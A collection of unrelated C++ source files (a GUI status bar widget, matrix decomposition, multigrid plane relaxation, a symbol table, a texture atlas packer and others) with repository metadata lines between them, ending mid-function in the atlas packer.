#include "lxgui/gui_statusbar.hpp" #include "lxgui/gui_frame.hpp" #include "lxgui/gui_manager.hpp" #include "lxgui/gui_texture.hpp" #include "lxgui/gui_out.hpp" #include "lxgui/gui_alive_checker.hpp" #include "lxgui/gui_uiobject_tpl.hpp" #include <sstream> namespace lxgui { namespace gui { std::array<float,4> select_uvs(const std::array<float,8>& uvs) { std::array<float,4> u; u[0] = uvs[0]; u[1] = uvs[1]; u[2] = uvs[4]; u[3] = uvs[5]; return u; } status_bar::status_bar(manager* pManager) : frame(pManager) { lType_.push_back(CLASS_NAME); } std::string status_bar::serialize(const std::string& sTab) const { std::ostringstream sStr; sStr << frame::serialize(sTab); sStr << sTab << " # Orientation: "; switch (mOrientation_) { case orientation::HORIZONTAL : sStr << "HORIZONTAL"; break; case orientation::VERTICAL : sStr << "VERTICAL"; break; } sStr << "\n"; sStr << sTab << " # Reversed : " << bReversed_ << "\n"; sStr << sTab << " # Value : " << fValue_ << "\n"; sStr << sTab << " # Min value : " << fMinValue_ << "\n"; sStr << sTab << " # Max value : " << fMaxValue_ << "\n"; return sStr.str(); } bool status_bar::can_use_script(const std::string& sScriptName) const { if (frame::can_use_script(sScriptName)) return true; else if (sScriptName == "OnValueChanged") return true; else return false; } void status_bar::copy_from(uiobject* pObj) { frame::copy_from(pObj); status_bar* pStatusBar = down_cast<status_bar>(pObj); if (!pStatusBar) return; this->set_min_value(pStatusBar->get_min_value()); this->set_max_value(pStatusBar->get_max_value()); this->set_value(pStatusBar->get_value()); this->set_bar_draw_layer(pStatusBar->get_bar_draw_layer()); this->set_orientation(pStatusBar->get_orientation()); this->set_reversed(pStatusBar->is_reversed()); texture* pBar = pStatusBar->get_bar_texture(); if (pBar) { std::unique_ptr<texture> pBarTexture = this->create_bar_texture_(); if (this->is_virtual()) pBarTexture->set_virtual(); pBarTexture->set_name(pBar->get_name()); if (!pManager_->add_uiobject(pBarTexture.get())) { gui::out << gui::warning << "gui::" << lType_.back() << " : " "Trying to add \""+pBar->get_name()+"\" to \""+sName_+"\", " "but its name was already taken : \""+pBarTexture->get_name()+"\". Skipped." << std::endl; } else { if (!is_virtual()) pBarTexture->create_glue(); pBarTexture->copy_from(pBar); pBarTexture->notify_loaded(); this->set_bar_texture(pBarTexture.get()); this->add_region(std::move(pBarTexture)); } } } void status_bar::set_min_value(float fMin) { if (fMin != fMinValue_) { fMinValue_ = fMin; if (fMinValue_ > fMaxValue_) fMinValue_ = fMaxValue_; fValue_ = fValue_ > fMaxValue_ ? fMaxValue_ : (fValue_ < fMinValue_ ? fMinValue_ : fValue_); fire_update_bar_texture_(); } } void status_bar::set_max_value(float fMax) { if (fMax != fMaxValue_) { fMaxValue_ = fMax; if (fMaxValue_ < fMinValue_) fMaxValue_ = fMinValue_; fValue_ = fValue_ > fMaxValue_ ? fMaxValue_ : (fValue_ < fMinValue_ ? fMinValue_ : fValue_); fire_update_bar_texture_(); } } void status_bar::set_min_max_values(float fMin, float fMax) { if (fMin != fMinValue_ || fMax != fMaxValue_) { fMinValue_ = std::min(fMin, fMax); fMaxValue_ = std::max(fMin, fMax); fValue_ = fValue_ > fMaxValue_ ? fMaxValue_ : (fValue_ < fMinValue_ ? fMinValue_ : fValue_); fire_update_bar_texture_(); } } void status_bar::set_value(float fValue) { fValue = fValue > fMaxValue_ ? fMaxValue_ : (fValue < fMinValue_ ? fMinValue_ : fValue); if (fValue != fValue_) { fValue_ = fValue; fire_update_bar_texture_(); } } void status_bar::set_bar_draw_layer(layer_type mBarLayer) { mBarLayer_ = mBarLayer; if (pBarTexture_) pBarTexture_->set_draw_layer(mBarLayer_); } void status_bar::set_bar_draw_layer(const std::string& sBarLayer) { if (sBarLayer == "ARTWORK") mBarLayer_ = layer_type::ARTWORK; else if (sBarLayer == "BACKGROUND") mBarLayer_ = layer_type::BACKGROUND; else if (sBarLayer == "BORDER") mBarLayer_ = layer_type::BORDER; else if (sBarLayer == "HIGHLIGHT") mBarLayer_ = layer_type::HIGHLIGHT; else if (sBarLayer == "OVERLAY") mBarLayer_ = layer_type::OVERLAY; else { gui::out << gui::warning << "gui::" << lType_.back() << " : " "Uknown layer type : \""+sBarLayer+"\". Using \"ARTWORK\"." << std::endl; mBarLayer_ = layer_type::ARTWORK; } if (pBarTexture_) pBarTexture_->set_draw_layer(mBarLayer_); } void status_bar::set_bar_texture(texture* pBarTexture) { pBarTexture_ = pBarTexture; if (!pBarTexture_) return; pBarTexture_->clear_all_points(); if (bReversed_) pBarTexture_->set_point(anchor(pBarTexture_, anchor_point::TOPRIGHT, "$parent", anchor_point::TOPRIGHT)); else pBarTexture_->set_point(anchor(pBarTexture_, anchor_point::BOTTOMLEFT, "$parent", anchor_point::BOTTOMLEFT)); lInitialTextCoords_ = select_uvs(pBarTexture_->get_tex_coord()); fire_update_bar_texture_(); } void status_bar::set_bar_color(const color& mBarColor) { if (!pBarTexture_) { std::unique_ptr<texture> pBarTexture = create_bar_texture_(); pBarTexture->set_name("$parentBarTexture"); if (!pManager_->add_uiobject(pBarTexture.get())) { gui::out << gui::warning << "gui::" << lType_.back() << " : " "Trying to create bar texture for \""+sName_+"\",\n" "but the name was already taken : \""+pBarTexture->get_name()+"\". Skipped." << std::endl; return; } if (!bVirtual_) pBarTexture->create_glue(); pBarTexture->notify_loaded(); set_bar_texture(pBarTexture.get()); add_region(std::move(pBarTexture)); } mBarColor_ = mBarColor; pBarTexture_->set_color(mBarColor_); } void status_bar::set_orientation(orientation mOrient) { if (mOrient != mOrientation_) { mOrientation_ = mOrient; fire_update_bar_texture_(); } } void status_bar::set_reversed(bool bReversed) { if (bReversed == bReversed_) return; bReversed_ = bReversed; if (pBarTexture_) { if (bReversed_) pBarTexture_->set_point(anchor(pBarTexture_, anchor_point::TOPRIGHT, "$parent", anchor_point::TOPRIGHT)); else pBarTexture_->set_point(anchor(pBarTexture_, anchor_point::BOTTOMLEFT, "$parent", anchor_point::BOTTOMLEFT)); pBarTexture_->notify_borders_need_update(); } } float status_bar::get_min_value() const { return fMinValue_; } float status_bar::get_max_value() const { return fMaxValue_; } float status_bar::get_value() const { return fValue_; } layer_type status_bar::get_bar_draw_layer() const { return mBarLayer_; } texture* status_bar::get_bar_texture() const { return pBarTexture_; } const color& status_bar::get_bar_color() const { return mBarColor_; } status_bar::orientation status_bar::get_orientation() const { return mOrientation_; } bool status_bar::is_reversed() const { return bReversed_; } std::unique_ptr<texture> status_bar::create_bar_texture_() { std::unique_ptr<texture> pBarTexture(new texture(pManager_)); pBarTexture->set_special(); pBarTexture->set_parent(this); pBarTexture->set_draw_layer(mBarLayer_); return pBarTexture; } void status_bar::create_glue() { create_glue_<lua_status_bar>(); } void status_bar::update(float fDelta) { if (bUpdateBarTexture_ && pBarTexture_) { float fCoef = (fValue_ - fMinValue_)/(fMaxValue_ - fMinValue_); if (mOrientation_ == orientation::HORIZONTAL) { pBarTexture_->set_rel_width(fCoef); pBarTexture_->set_rel_height(1.0f); } else { pBarTexture_->set_rel_width(1.0f); pBarTexture_->set_rel_height(fCoef); } if (!pBarTexture_->get_texture().empty()) { std::array<float,4> uvs = lInitialTextCoords_; if (mOrientation_ == orientation::HORIZONTAL) { if (bReversed_) uvs[0] = (uvs[0] - uvs[2])*fCoef + uvs[2]; else uvs[2] = (uvs[2] - uvs[0])*fCoef + uvs[0]; } else { if (bReversed_) uvs[3] = (uvs[3] - uvs[1])*fCoef + uvs[1]; else uvs[1] = (uvs[1] - uvs[3])*fCoef + uvs[3]; } pBarTexture_->set_tex_coord(uvs); } bUpdateBarTexture_ = false; } alive_checker mChecker(this); frame::update(fDelta); if (!mChecker.is_alive()) return; } void status_bar::fire_update_bar_texture_() { bUpdateBarTexture_ = true; } } }
27.463068
122
0.589531
unnamed-mmo
b1df4b5a490fa00c9f80aff7a4b4df241c695a6c
564
hpp
C++
include/APG/core/APGCommon.hpp
SgtCoDFish/APG
23c45601e1c96ab8d1192f4d1095e2c481999780
[ "libtiff", "Apache-2.0", "MIT", "ECL-2.0", "Libpng", "BSD-3-Clause" ]
1
2015-01-05T16:57:56.000Z
2015-01-05T16:57:56.000Z
include/APG/core/APGCommon.hpp
SgtCoDFish/APG
23c45601e1c96ab8d1192f4d1095e2c481999780
[ "libtiff", "Apache-2.0", "MIT", "ECL-2.0", "Libpng", "BSD-3-Clause" ]
18
2015-07-04T21:49:23.000Z
2018-07-30T09:19:32.000Z
include/APG/core/APGCommon.hpp
SgtCoDFish/APG
23c45601e1c96ab8d1192f4d1095e2c481999780
[ "libtiff", "Apache-2.0", "MIT", "ECL-2.0", "Libpng", "BSD-3-Clause" ]
null
null
null
#ifndef INCLUDE_APG_CORE_APGCOMMON_HPP_ #define INCLUDE_APG_CORE_APGCOMMON_HPP_ #include <memory> #include <glm/vec2.hpp> #include <glm/vec4.hpp> namespace APG { struct Vertex { float x; float y; float c; float u; float v; }; static constexpr const int VERTEX_SIZE = 5; namespace internal { static constexpr const int DEFAULT_SOUND_HANDLE_COUNT = 256; static constexpr const int DEFAULT_MUSIC_HANDLE_COUNT = 128; static constexpr const int DEFAULT_FONT_HANDLE_COUNT = 16; static constexpr const unsigned int MAX_SUPPORTED_TEXTURES = 32; } } #endif
16.588235
64
0.781915
SgtCoDFish
b1df936e85d698cf9dcf2e8f2bc0d70ddc068d86
454
cpp
C++
BashuOJ-Code/1327.cpp
magicgh/algorithm-contest-code
c21a90b11f73535c61e6363a4305b74cff24a85b
[ "MIT" ]
null
null
null
BashuOJ-Code/1327.cpp
magicgh/algorithm-contest-code
c21a90b11f73535c61e6363a4305b74cff24a85b
[ "MIT" ]
null
null
null
BashuOJ-Code/1327.cpp
magicgh/algorithm-contest-code
c21a90b11f73535c61e6363a4305b74cff24a85b
[ "MIT" ]
null
null
null
#include<iostream> using namespace std; long long used[100]={0},n,a[100]={0},c[100]={0},i; string s; void PL(int k) { int i; if(k>n) {for(i=1;i<k;i++)cout<<a[i]<<" ";cout<<endl;return;} for(i=1;i<=n;i++) { if(used[i]==0) { a[k]=c[i]; used[i]=1; PL(k+1); used[i]=a[k]=0; } } } int main() { cin>>s; n=s.length(); for(i=1;i<=n;i++)c[i]=s[i-1]-'0'; PL(1); return 0; }
16.814815
55
0.427313
magicgh
b1e12b044d201b5c67c0ceeea3023c68e4072d17
3,837
cc
C++
flow/matrix_decomposition.cc
alibitek/engine
0f0b144b0320d00d837fb2af80cd542ab1359491
[ "BSD-3-Clause" ]
1
2020-06-30T13:16:14.000Z
2020-06-30T13:16:14.000Z
flow/matrix_decomposition.cc
alibitek/engine
0f0b144b0320d00d837fb2af80cd542ab1359491
[ "BSD-3-Clause" ]
null
null
null
flow/matrix_decomposition.cc
alibitek/engine
0f0b144b0320d00d837fb2af80cd542ab1359491
[ "BSD-3-Clause" ]
1
2020-03-05T02:44:12.000Z
2020-03-05T02:44:12.000Z
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "flutter/flow/matrix_decomposition.h" namespace flow { static inline SkVector3 SkVector3Combine(const SkVector3& a, float a_scale, const SkVector3& b, float b_scale) { return { a_scale * a.fX + b_scale * b.fX, // a_scale * a.fY + b_scale * b.fY, // a_scale * a.fZ + b_scale * b.fZ, // }; } static inline SkVector3 SkVector3Cross(const SkVector3& a, const SkVector3& b) { return { (a.fY * b.fZ) - (a.fZ * b.fY), // (a.fZ * b.fX) - (a.fX * b.fZ), // (a.fX * b.fY) - (a.fY * b.fX) // }; } MatrixDecomposition::MatrixDecomposition(const SkMatrix& matrix) : MatrixDecomposition(SkMatrix44{matrix}) {} MatrixDecomposition::MatrixDecomposition(SkMatrix44 matrix) : valid_(false) { if (matrix.get(3, 3) == 0) { return; } for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { matrix.set(j, i, matrix.get(j, i) / matrix.get(3, 3)); } } SkMatrix44 perpective_matrix = matrix; for (int i = 0; i < 3; i++) { perpective_matrix.set(3, i, 0.0); } perpective_matrix.set(3, 3, 1.0); if (perpective_matrix.determinant() == 0.0) { return; } if (matrix.get(3, 0) != 0.0 || matrix.get(3, 1) != 0.0 || matrix.get(3, 2) != 0.0) { const SkVector4 right_hand_side(matrix.get(3, 0), matrix.get(3, 1), matrix.get(3, 2), matrix.get(3, 3)); SkMatrix44 inverted_transposed( SkMatrix44::Uninitialized_Constructor::kUninitialized_Constructor); if (!perpective_matrix.invert(&inverted_transposed)) { return; } inverted_transposed.transpose(); perspective_ = inverted_transposed * right_hand_side; matrix.set(3, 0, 0); matrix.set(3, 1, 0); matrix.set(3, 2, 0); matrix.set(3, 3, 1); } translation_ = {matrix.get(0, 3), matrix.get(1, 3), matrix.get(2, 3)}; matrix.set(0, 3, 0.0); matrix.set(1, 3, 0.0); matrix.set(2, 3, 0.0); SkVector3 row[3]; for (int i = 0; i < 3; i++) { row[i].set(matrix.get(0, i), matrix.get(1, i), matrix.get(2, i)); } scale_.fX = row[0].length(); row[0].normalize(); shear_.fX = row[0].dot(row[1]); row[1] = SkVector3Combine(row[1], 1.0, row[0], -shear_.fX); scale_.fY = row[1].length(); row[1].normalize(); shear_.fX /= scale_.fY; shear_.fY = row[0].dot(row[2]); row[2] = SkVector3Combine(row[2], 1.0, row[0], -shear_.fY); shear_.fZ = row[1].dot(row[2]); row[2] = SkVector3Combine(row[2], 1.0, row[1], -shear_.fZ); scale_.fZ = row[2].length(); row[2].normalize(); shear_.fY /= scale_.fZ; shear_.fZ /= scale_.fZ; if (row[0].dot(SkVector3Cross(row[1], row[2])) < 0) { scale_.fX *= -1; scale_.fY *= -1; scale_.fZ *= -1; for (int i = 0; i < 3; i++) { row[i].fX *= -1; row[i].fY *= -1; row[i].fZ *= -1; } } rotation_.set(0.5 * sqrt(fmax(1.0 + row[0].fX - row[1].fY - row[2].fZ, 0.0)), 0.5 * sqrt(fmax(1.0 - row[0].fX + row[1].fY - row[2].fZ, 0.0)), 0.5 * sqrt(fmax(1.0 - row[0].fX - row[1].fY + row[2].fZ, 0.0)), 0.5 * sqrt(fmax(1.0 + row[0].fX + row[1].fY + row[2].fZ, 0.0))); if (row[2].fY > row[1].fZ) { rotation_.fData[0] = -rotation_.fData[0]; } if (row[0].fZ > row[2].fX) { rotation_.fData[1] = -rotation_.fData[1]; } if (row[1].fX > row[0].fY) { rotation_.fData[2] = -rotation_.fData[2]; } valid_ = true; } MatrixDecomposition::~MatrixDecomposition() = default; bool MatrixDecomposition::IsValid() const { return valid_; } } // namespace flow
27.021127
80
0.551733
alibitek
b1e1b63be32d9ae14afacee97ad9ef162e3ae6b5
8,608
cc
C++
src/3d/mpi/relax_planes.cc
cedar-framework/cedar
9fb53ec221738b8dd16dfb31dc9a18d69fc2cc44
[ "BSD-3-Clause" ]
9
2018-03-07T19:15:27.000Z
2019-02-22T20:10:23.000Z
src/3d/mpi/relax_planes.cc
cedar-framework/cedar
9fb53ec221738b8dd16dfb31dc9a18d69fc2cc44
[ "BSD-3-Clause" ]
5
2018-11-13T19:59:46.000Z
2020-04-09T19:31:25.000Z
src/3d/mpi/relax_planes.cc
cedar-framework/cedar
9fb53ec221738b8dd16dfb31dc9a18d69fc2cc44
[ "BSD-3-Clause" ]
2
2018-07-20T01:06:48.000Z
2019-11-25T12:15:16.000Z
#include <cedar/3d/mpi/plane_mempool.h> #include <cedar/3d/mpi/plane_mpi.h> #include <cedar/3d/mpi/relax_planes.h> namespace cedar { namespace cdr3 { namespace mpi { template<relax_dir rdir> std::shared_ptr<grid_topo> planes<rdir>::slice_topo(const grid_topo & topo3) { auto igrd = std::make_shared<std::vector<len_t>>(NBMG_pIGRD); auto topo2 = std::make_shared<grid_topo>(igrd, 0, 1); topo2->nproc(2) = 1; if (rdir == relax_dir::xy) { MPI_Comm_split(topo3.comm, topo3.coord(2), topo3.coord(1) * topo3.nproc(0) + topo3.coord(0), &topo2->comm); for (auto i : range<std::size_t>(2)) { topo2->nproc(i) = topo3.nproc(i); topo2->coord(i) = topo3.coord(i); topo2->is(i) = topo3.is(i); topo2->nlocal(i) = topo3.nlocal(i); topo2->nglobal(i) = topo3.nglobal(i); } auto & halo_service = this->services->template get<halo_exchange>(); auto & dimx = halo_service.leveldims(0); auto & dimy = halo_service.leveldims(1); topo2->dimxfine.resize(topo2->nproc(0)); topo2->dimyfine.resize(topo2->nproc(1)); for (auto i : range<len_t>(topo2->nproc(0))) { topo2->dimxfine[i] = dimx(i, topo3.level()); } for (auto j : range<len_t>(topo2->nproc(1))) { topo2->dimyfine[j] = dimy(j, topo3.level()); } } else if (rdir == relax_dir::xz) { MPI_Comm_split(topo3.comm, topo3.coord(1), topo3.coord(2) * topo3.nproc(0) + topo3.coord(0), &topo2->comm); for (auto i : range<std::size_t>(2)) { auto i3 = (i == 0) ? 0 : 2; topo2->nproc(i) = topo3.nproc(i3); topo2->coord(i) = topo3.coord(i3); topo2->is(i) = topo3.is(i3); topo2->nlocal(i) = topo3.nlocal(i3); topo2->nglobal(i) = topo3.nglobal(i3); } auto & halo_service = this->services->template get<halo_exchange>(); auto & dimx = halo_service.leveldims(0); auto & dimy = halo_service.leveldims(2); topo2->dimxfine.resize(topo2->nproc(0)); topo2->dimyfine.resize(topo2->nproc(1)); for (auto i : range<len_t>(topo2->nproc(0))) { topo2->dimxfine[i] = dimx(i, topo3.level()); } for (auto j : range<len_t>(topo2->nproc(1))) { topo2->dimyfine[j] = dimy(j, topo3.level()); } } else if (rdir == relax_dir::yz) { MPI_Comm_split(topo3.comm, topo3.coord(0), topo3.coord(2) * topo3.nproc(1) + topo3.coord(1), &topo2->comm); for (auto i : range<std::size_t>(2)) { auto i3 = i + 1; topo2->nproc(i) = topo3.nproc(i3); topo2->coord(i) = topo3.coord(i3); topo2->is(i) = topo3.is(i3); topo2->nlocal(i) = topo3.nlocal(i3); topo2->nglobal(i) = topo3.nglobal(i3); } auto & halo_service = this->services->template get<halo_exchange>(); auto & dimx = halo_service.leveldims(1); auto & dimy = halo_service.leveldims(2); topo2->dimxfine.resize(topo2->nproc(0)); topo2->dimyfine.resize(topo2->nproc(1)); for (auto i : range<len_t>(topo2->nproc(0))) { topo2->dimxfine[i] = dimx(i, topo3.level()); } for (auto j : range<len_t>(topo2->nproc(1))) { topo2->dimyfine[j] = dimy(j, topo3.level()); } } else { log::error << "invalid relax_dir for planes" << std::endl; } return topo2; } template std::shared_ptr<grid_topo> planes<relax_dir::xy>::slice_topo(const grid_topo & topo3); template std::shared_ptr<grid_topo> planes<relax_dir::yz>::slice_topo(const grid_topo & topo3); template std::shared_ptr<grid_topo> planes<relax_dir::xz>::slice_topo(const grid_topo & topo3); template<relax_dir rdir> template<class sten3, class sten2> void planes<rdir>::setup_impl(const stencil_op<sten3> & so, std::vector<slv2_ptr<sten2>> & planes, std::array<plane_ult<sten2>, 2> & threads, std::array<plane_team, 2> & teams) { #ifdef PLANE_AGG this->aggregate = this->params->plane_agg; teams[0].threads = threads[0].get_threads(); teams[1].threads = threads[1].get_threads(); #else this->aggregate = false; #endif int nplanes = so.shape(2); auto rng = so.range(2); if (rdir == relax_dir::xz) { rng = so.range(1); nplanes = so.shape(1); } else if (rdir == relax_dir::yz) { rng = so.range(0); nplanes = so.shape(0); } auto kgs = so.grid().is(2); auto topo2 = slice_topo(so.grid()); auto conf2 = this->params->plane_config; auto log_planes = conf2->template get<bool>("log-planes", false); cdr2::mpi::kman_ptr master_kmans[2]; { auto tmp = log_begin(log_planes, kgs + 1 - 1, relax_dir_name<rdir>::value, topo2->comm); master_kmans[0] = master_kman(*conf2, (nplanes / 2) + (nplanes % 2), aggregate, teams[0]); log_end(log_planes, tmp); tmp = log_begin(log_planes, kgs + 2 - 1, relax_dir_name<rdir>::value, topo2->comm); master_kmans[1] = master_kman(*conf2, nplanes / 2, aggregate, teams[1]); log_end(log_planes, tmp); } for (auto ipl : rng) { int i = ipl-1; cdr2::mpi::kman_ptr kman2; auto so2_ptr = std::make_unique<cdr2::mpi::stencil_op<sten2>>(topo2); auto & so2 = *so2_ptr; plane_util<rdir>::copy_coeff(so, so2, ipl); timer_pause(); auto tmp = log_begin(log_planes, kgs + ipl - 1, relax_dir_name<rdir>::value, topo2->comm); if (i < 2) kman2 = master_kmans[i]; else { kman2 = worker_kman(*conf2, (i % 2 == 0) ? (nplanes / 2) + (nplanes % 2) : nplanes / 2, aggregate, teams[i % 2], i / 2); } planes.emplace_back(std::make_unique<cdr2::mpi::solver<sten2>>(so2, conf2, kman2)); log_end(log_planes, tmp); planes.back()->give_op(std::move(so2_ptr)); timer_play(); // setup fine-grid solution and right hand side with contiguous memory across planes { service_manager<cdr2::mpi::stypes> & sman = kman2->services(); auto & mpool = sman.get<services::mempool>(); std::size_t nbytes = topo2->nlocal(0) * topo2->nlocal(1) * sizeof(real_t); real_t *xaddr = (real_t*) mpool.addr(services::mempool::sol, nbytes); real_t *baddr = (real_t*) mpool.addr(services::mempool::rhs, nbytes); planes.back()->levels.template get<sten2>(0).x = cdr2::mpi::grid_func(xaddr, topo2); planes.back()->levels.template get<sten2>(0).b = cdr2::mpi::grid_func(baddr, topo2); } #ifdef PLANE_AGG if (aggregate) threads[i % 2].add_plane(planes.back().get()); #endif } // setup services for solve with ults #ifdef PLANE_AGG if (aggregate) { for (auto ipl : rng) { int i = ipl - 1; setup_agg_solve(*planes[i]); planes[i]->apply_heirs([](cdr2::mpi::solver<cdr2::nine_pt> & child) { setup_agg_solve(child); }); } } #endif } template void planes<relax_dir::xy>::setup_impl<xxvii_pt, cdr2::nine_pt>(const stencil_op<xxvii_pt> & so, std::vector<slv2_ptr<cdr2::nine_pt>> & planes, std::array<plane_ult<cdr2::nine_pt>, 2> & threads, std::array<plane_team, 2> & teams); template void planes<relax_dir::xz>::setup_impl<xxvii_pt, cdr2::nine_pt>(const stencil_op<xxvii_pt> & so, std::vector<slv2_ptr<cdr2::nine_pt>> & planes, std::array<plane_ult<cdr2::nine_pt>, 2> & threads, std::array<plane_team, 2> & teams); template void planes<relax_dir::yz>::setup_impl<xxvii_pt, cdr2::nine_pt>(const stencil_op<xxvii_pt> & so, std::vector<slv2_ptr<cdr2::nine_pt>> & planes, std::array<plane_ult<cdr2::nine_pt>, 2> & threads, std::array<plane_team, 2> & teams); template void planes<relax_dir::xy>::setup_impl<seven_pt, cdr2::five_pt>(const stencil_op<seven_pt> & so, std::vector<slv2_ptr<cdr2::five_pt>> & planes, std::array<plane_ult<cdr2::five_pt>, 2> & threads, std::array<plane_team, 2> & teams); template void planes<relax_dir::xz>::setup_impl<seven_pt, cdr2::five_pt>(const stencil_op<seven_pt> & so, std::vector<slv2_ptr<cdr2::five_pt>> & planes, std::array<plane_ult<cdr2::five_pt>, 2> & threads, std::array<plane_team, 2> & teams); template void planes<relax_dir::yz>::setup_impl<seven_pt, cdr2::five_pt>(const stencil_op<seven_pt> & so, std::vector<slv2_ptr<cdr2::five_pt>> & planes, std::array<plane_ult<cdr2::five_pt>, 2> & threads, std::array<plane_team, 2> & teams); }}}
42.196078
152
0.599907
cedar-framework
b1e4866ea4244be7441e22a63b9ee886db4566f4
1,835
cpp
C++
dev/Gems/ScriptEvents/Code/Source/ScriptEventsGem.cpp
brianherrera/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
[ "AML" ]
1,738
2017-09-21T10:59:12.000Z
2022-03-31T21:05:46.000Z
dev/Gems/ScriptEvents/Code/Source/ScriptEventsGem.cpp
olivier-be/lumberyard
3d688932f919dbf5821f0cb8a210ce24abe39e9e
[ "AML" ]
427
2017-09-29T22:54:36.000Z
2022-02-15T19:26:50.000Z
dev/Gems/ScriptEvents/Code/Source/ScriptEventsGem.cpp
olivier-be/lumberyard
3d688932f919dbf5821f0cb8a210ce24abe39e9e
[ "AML" ]
671
2017-09-21T08:04:01.000Z
2022-03-29T14:30:07.000Z
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #include "precompiled.h" #include "ScriptEventsSystemComponent.h" #include <AzCore/Memory/SystemAllocator.h> #include <ScriptEvents/ScriptEventsGem.h> #include <ScriptEvents/Components/ScriptEventReferencesComponent.h> namespace ScriptEvents { ScriptEventsModule::ScriptEventsModule() : AZ::Module() , m_systemImpl(nullptr) { ScriptEventModuleConfigurationRequestBus::Handler::BusConnect(); m_descriptors.insert(m_descriptors.end(), { ScriptEvents::ScriptEventsSystemComponent::CreateDescriptor(), ScriptEvents::Components::ScriptEventReferencesComponent::CreateDescriptor(), }); } ScriptEventsSystemComponentImpl* ScriptEventsModule::GetSystemComponentImpl() { if (!m_systemImpl) { m_systemImpl = aznew ScriptEventsSystemComponentRuntimeImpl(); } return m_systemImpl; } /** * Add required SystemComponents to the SystemEntity. */ AZ::ComponentTypeList ScriptEventsModule::GetRequiredSystemComponents() const { return AZ::ComponentTypeList{ azrtti_typeid<ScriptEvents::ScriptEventsSystemComponent>(), }; } } AZ_DECLARE_MODULE_CLASS(ScriptEvents_32d8ba21703e4bbbb08487366e48dd69, ScriptEvents::ScriptEventsModule)
31.637931
104
0.723161
brianherrera
b1e5565e834926da666656b23cae4639dc61b21e
984
cpp
C++
Axis.Core/application/parsing/preprocessing/SymbolTable.cpp
renato-yuzup/axis-fem
2e8d325eb9c8e99285f513b4c1218ef53eb0ab22
[ "MIT" ]
2
2021-07-23T08:49:54.000Z
2021-07-29T22:07:30.000Z
Axis.Core/application/parsing/preprocessing/SymbolTable.cpp
renato-yuzup/axis-fem
2e8d325eb9c8e99285f513b4c1218ef53eb0ab22
[ "MIT" ]
null
null
null
Axis.Core/application/parsing/preprocessing/SymbolTable.cpp
renato-yuzup/axis-fem
2e8d325eb9c8e99285f513b4c1218ef53eb0ab22
[ "MIT" ]
null
null
null
#include "SymbolTable.hpp" #include "foundation/ArgumentException.hpp" namespace aapp = axis::application::parsing::preprocessing; aapp::SymbolTable::SymbolTable(void) { // no op } aapp::SymbolTable::~SymbolTable(void) { // erases symbol table and call destructors of every every contained element _table.clear(); } void aapp::SymbolTable::AddSymbol( Symbol& symbol ) { if (IsDefined(symbol.Name)) { throw axis::foundation::ArgumentException(); } _table[symbol.Name] = &symbol; } void aapp::SymbolTable::ClearTable( void ) { _table.clear(); } bool aapp::SymbolTable::IsDefined( const axis::String& name ) const { symbol_table::const_iterator it = _table.find(name); return (it != _table.end()); } const axis::String& aapp::SymbolTable::GetValue( const axis::String& name ) const { symbol_table::const_iterator it = _table.find(name); if (it == _table.end()) { // element not found throw axis::foundation::ArgumentException(); } return (it->second)->Value; }
21.391304
81
0.716463
renato-yuzup
b1e6fe39ea7a5e5a8fd4d0adef72a983b9f20547
11,788
cpp
C++
libatlaspack/src/textureatlaspacker.cpp
bzeller/atlaspack
abc80eff35b25af367c7b9e91272f5ff82e09272
[ "MIT" ]
null
null
null
libatlaspack/src/textureatlaspacker.cpp
bzeller/atlaspack
abc80eff35b25af367c7b9e91272f5ff82e09272
[ "MIT" ]
null
null
null
libatlaspack/src/textureatlaspacker.cpp
bzeller/atlaspack
abc80eff35b25af367c7b9e91272f5ff82e09272
[ "MIT" ]
null
null
null
/* * MIT License * * Copyright (c) 2017 Benjamin Zeller * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include <AtlasPack/TextureAtlasPacker> #include <AtlasPack/textureatlas_p.h> #include <AtlasPack/JobQueue> #include <boost/filesystem.hpp> #include <iostream> #include <fstream> #include <sstream> namespace fs = boost::filesystem; namespace AtlasPack { /** * \internal * Represents a Node in the packing tree algorithm, * can contain either child nodes or a image. The rect * variable is always set. */ struct Node { Node (Rect _rect = Rect()) : rect(_rect){} std::shared_ptr<Node> left; std::shared_ptr<Node> right; Rect rect; Image img; }; class TextureAtlasPackerPrivate { public: Node *insertImage (const Image &img, Node *node); bool collectNodes(TextureAtlasPrivate *atlas, std::shared_ptr<PaintDevice> painter, std::basic_ostream<char> *descStr, Node *node, JobQueue<bool> *painterQueue, std::vector<std::future<bool> > &painterResults, std::string *err = nullptr); Node m_root; }; /** * @brief TextureAtlasPrivate::insertImage * \returns the Node the Image was inserted into, nullptr if not enough space is available */ Node *TextureAtlasPackerPrivate::insertImage(const Image &img, Node *node) { //if we have children, we are not a leaf if (node->left || node->right) { //first inside left: Node *newNode = insertImage(img, node->left.get()); if (newNode) return newNode; //no space in left, insert right return insertImage(img, node->right.get()); } else { //this path is entered if we found a leaf node //first check if the space is already filled if (node->img.isValid()) return nullptr; Pos nodePos = node->rect.topLeft; Size nodeSize = node->rect.size; //check if there is enough room if (nodeSize.height < img.height() || nodeSize.width < img.width()) { //node too small return nullptr; } 